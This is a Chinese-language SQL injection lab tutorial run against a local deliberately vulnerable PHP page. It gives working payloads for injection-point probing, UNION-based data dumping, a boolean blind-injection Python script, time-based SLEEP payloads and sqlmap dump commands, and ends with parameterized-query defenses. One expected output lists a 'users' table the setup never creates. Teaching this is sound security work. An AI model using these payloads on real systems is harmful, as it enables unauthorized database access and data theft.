SQL 注入深入实战:判断、UNION 拖库、盲注与防御

SQL 注入深入实战

SQL 注入环境搭建、注入点判断、UNION 五步拖库、盲注脚本、sqlmap 自动化、参数化防御。

14th Aug 2026

7 min read

一、现实背景:SQL 是怎么被拼出来的

普通程序员的查询代码:

$id = $_GET['id'];
$sql = "SELECT id, title FROM articles WHERE id = " . $id;

$id 被直接拼进 SQL 字符串。当 id=1 OR 1=1 时:

SELECT id, title FROM articles WHERE id = 1 OR 1=1

恒真,返回全表。用户输入从"数据"变成了"代码",这就是 SQL 注入。

二、环境搭建(二选一)

方式 A:sqli-labs 靶场

git clone https://github.com/Audi-1/sqli-labs.git
cd sqli-labs
php -S 127.0.0.1:8000

浏览器访问,点 "Setup/reset Database",之后打 Less-1。

方式 B:自建漏洞页(本文以此讲解)

数据库:

CREATE DATABASE ctf;
USE ctf;
CREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));
INSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');
CREATE TABLE flag (flag VARCHAR(100));
INSERT INTO flag VALUES ('flag{sql_injection}');

vuln.php:

<?php
$conn = new mysqli("localhost", "root", "password", "ctf");
$id = $_GET['id'];
$sql = "SELECT id, title, content FROM articles WHERE id = " . $id;
$result = $conn->query($sql);
while ($row = $result->fetch_assoc()) {
    echo $row['id'] . " " . $row['title'] . " " . $row['content'] . "<br>";
}
?>

启动:php -S 127.0.0.1:8000。

说明:如果你的电脑不方便装 PHP+MySQL,可以跳过本节,用"附录"里的 Python+SQLite 模拟程序跑通同样的注入过程,原理完全一致。

三、核心步骤 1:注入点判断

目的:确认参数 id 能影响 SQL 逻辑,避免在非注入点上浪费时间。

思路:用"会破坏语法"的单引号和"改变查询条件"的 AND 表达式做探测。单引号报错、恒真正常、恒假为空,三者齐备即确认。

请求 1:正常请求

目的:记录正常响应的样子,作为后续对比的基线。

curl "http://127.0.0.1:8000/vuln.php?id=1"

预期输出:

1 hello world

请求 2:单引号

目的:判断输入是否被拼进 SQL。拼进去了,单引号就会破坏语法。

curl "http://127.0.0.1:8000/vuln.php?id=1'"

预期输出(报错):

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version ...

原因:语句变成 WHERE id = 1',单引号未闭合。

请求 3:AND 1=1

curl "http://127.0.0.1:8000/vuln.php?id=1 AND 1=1"

预期输出:1 hello world(条件真)。

请求 4:AND 1=2

curl "http://127.0.0.1:8000/vuln.php?id=1 AND 1=2"

预期输出:空(条件假)。

判定:单引号报错 + 1=1 正常 + 1=2 为空 → 注入点确认。

四、核心步骤 2:UNION 注入五步拖库

目的:把数据库里的表和数据"借" UNION 查询显示到页面上。

思路:UNION 合并两个查询,但要求列数一致;先把第一个查询置空(id=-1),再用回显列依次输出库名、表名、列名、数据。每一步都是下一步的前提:不知道库名就筛不出表,不知道表名就查不了列。

前提:第一个查询返回空(用 id=-1),UNION 两个查询列数相同。

第 1 步:确定列数

思路:ORDER BY N 按第 N 列排序,N 超过实际列数时报错。从 1 试到报错为止,报错前的 N 就是列数。

curl "http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1"
curl "http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2"
curl "http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3"
curl "http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4"

前三条正常,第四条报错 → 共 3 列。

第 2 步:确认回显位

思路:SELECT 1,2,3 的数字会显示在页面上,显示的哪个数字对应哪一列,哪一列就能用来输出数据。

curl "http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+"

预期输出:2 3。第 2、3 列内容会显示,作为后续输出位置。

第 3 步:查数据库名

curl "http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+"

预期输出:ctf。

第 4 步:查表名

curl "http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+"

预期输出:articles,flag,users。

第 5 步:查列名

curl "http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+"

预期输出:flag。

说明:如果第 4 步看到多个表,比如 articles,flag,users,优先怀疑 flag 表;列名可能不是 flag,需要本步用 information_schema.columns 确认。

第 6 步:拿数据

curl "http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+"

预期输出:flag{sql_injection}。

验证:若第 6 步报错,通常是列名猜错,回到第 5 步把列名抄准再试。

五、核心步骤 3:盲注(页面不回显时)

目的:当页面既不显示查询结果也不报错时,把数据库当"是与否"的问答机,逐字符问出数据。

当页面不显示查询结果也不报错时,只能用"是与否"推断数据。

5.1 布尔盲注

curl "http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+"

正常 → 库名第一个字符是 c。

curl "http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+"

为空 → 不是 a。

自动化脚本:

思路:对 flag 的每个位置,逐个尝试字符,问"这一位是不是 ch";页面出现正常特征(如 hello)就说明猜对,把字符记下再问下一位。

import requests, string
# requests:HTTP 请求库;string:标准库,提供 printable(可打印字符集)。

url = "http://127.0.0.1:8000/vuln.php"
result = ""          # 保存已确认的 flag 片段

for pos in range(1, 50):
    # pos 从 1 开始,逐位猜测;50 是长度上限,防止死循环。
    found = False
    for ch in string.printable:
        payload = f"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+"
        # SUBSTRING(text, pos, 1):取字符串第 pos 位、长度 1 的字符。
        # 内层 SELECT flag FROM flag LIMIT 1:取出 flag 表第一行。
        # 整句含义:如果 flag 第 pos 位是 ch,条件为真。
        r = requests.get(url, params={"id": payload})
        # requests.get(url, params=...):GET 请求,params 自动做 URL 编码。
        # r.text:响应正文。
        if "hello" in r.text:
            # 条件为真时页面正常,包含特征字符串 "hello"。
            result += ch
            print(result)
            found = True
            break
    if not found or result.endswith('}'):
        # 一整轮都没猜中 = 已到结尾;或以 } 结尾 = flag 结束。
        break
print("flag:", result)

运行过程输出(节选):

f
fl
fla
flag{
...
flag{sql_injection}

5.2 时间盲注

页面连"正常/异常"都无法区分时,用 SLEEP 制造时间差:

curl "http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+"

响应慢 2 秒 → 条件为真。脚本判断响应时间即可。

六、核心步骤 4:sqlmap 自动化

目的:手工确认后,用工具批量完成拖库,效率更高。

命令 1:检测

思路:sqlmap 会对参数自动测试多种注入技术并报告类型。先检测确认,再定向拖库。

sqlmap -u "http://127.0.0.1:8000/vuln.php?id=1" --batch

预期输出(节选):

Parameter: id (GET)
    Type: boolean-based blind
    Type: UNION query

命令 2:列库

sqlmap -u "http://127.0.0.1:8000/vuln.php?id=1" --dbs

预期输出:数据库列表,含 ctf。

命令 3:导出数据

sqlmap -u "http://127.0.0.1:8000/vuln.php?id=1" -D ctf -T flag --dump

预期输出:flag 表内容 flag{sql_injection}。

七、核心步骤 5:防御

// PDO 参数化
$stmt = $pdo->prepare("SELECT id, title, content FROM articles WHERE id = ?");
$stmt->execute([$_GET['id']]);

// mysqli 参数化
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $user, $pass);
$stmt->execute();
cursor.execute("SELECT * FROM users WHERE username = ?", (name,))

参数化后,输入 1 OR 1=1 只会作为字符串比较,不再改变语句结构。

八、附录:本地可运行的 SQLite 模拟(完整输入输出)

目的:没有 PHP/MySQL 环境时,用 Python 自带 sqlite3 复现同样的"字符串拼接注入",逐条对照输出理解每一步。

没有 PHP/MySQL 时,用 Python + SQLite 复现同样的漏洞机制。保存 sim.py:

import sqlite3
# sqlite3:Python 标准库,操作 SQLite 数据库。

conn = sqlite3.connect(':memory:')
# connect(':memory:'):在内存中创建数据库,程序退出即消失,适合演示。
conn.executescript('''
CREATE TABLE articles (id INT, title TEXT, content TEXT);
INSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');
CREATE TABLE flag (flag TEXT);
INSERT INTO flag VALUES ('flag{sql_injection}');
''')
# executescript:一次性执行多条 SQL,建表并插入测试数据。

def query(id_):
    # 模拟服务端:把参数拼进 SQL 再执行(与漏洞 PHP 代码等价)。
    cur = conn.cursor()
    # cursor():创建游标对象,用于执行 SQL。
    try:
        cur.execute("SELECT id, title, content FROM articles WHERE id = " + id_)
        # execute:执行一条 SQL;这里直接拼接 id_,即注入点。
        return str(cur.fetchall())
        # fetchall():取出全部结果行,str() 转成字符串方便打印。
    except Exception as e:
        # 语法错误等异常会走到这里,模拟"页面报错"。
        return "ERROR: " + str(e)

print(query("1"))
print(query("1'"))
print(query("1 AND 1=1"))
print(query("1 AND 1=2"))
print(query("1 ORDER BY 3"))
print(query("-1 UNION SELECT 1,2,3-- "))
print(query("-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- "))
print(query("-1 UNION SELECT 1,flag,3 FROM flag-- "))

运行:

python3 sim.py

实际输出:

[(1, 'hello', 'world')]
ERROR: unrecognized token: "'"
[(1, 'hello', 'world')]
[]
[(1, 'hello', 'world')]
[(1, 2, 3)]
[(1, 'articles,flag', 3)]
[(1, 'flag{sql_injection}', 3)]

逐行对应:

输入输出结论
1正常记录基线
1'语法错误注入点存在
1 AND 1=1正常记录条件真
1 AND 1=2空条件假
1 ORDER BY 3正常至少 3 列
-1 UNION SELECT 1,2,3(1, 2, 3)3 列且回显
查 sqlite_masterarticles,flag表名(SQLite 的元数据表;MySQL 用 information_schema.tables)
查 flag 表flag{sql_injection}拿到 flag

九、小结

SQL 注入主线:判断注入点 → UNION 逐层拿数据(列数→库→表→列→数据)→ 盲注兜底 → sqlmap 加速 → 参数化防御。练完 sqli-labs 前 10 关即可掌握全部内容。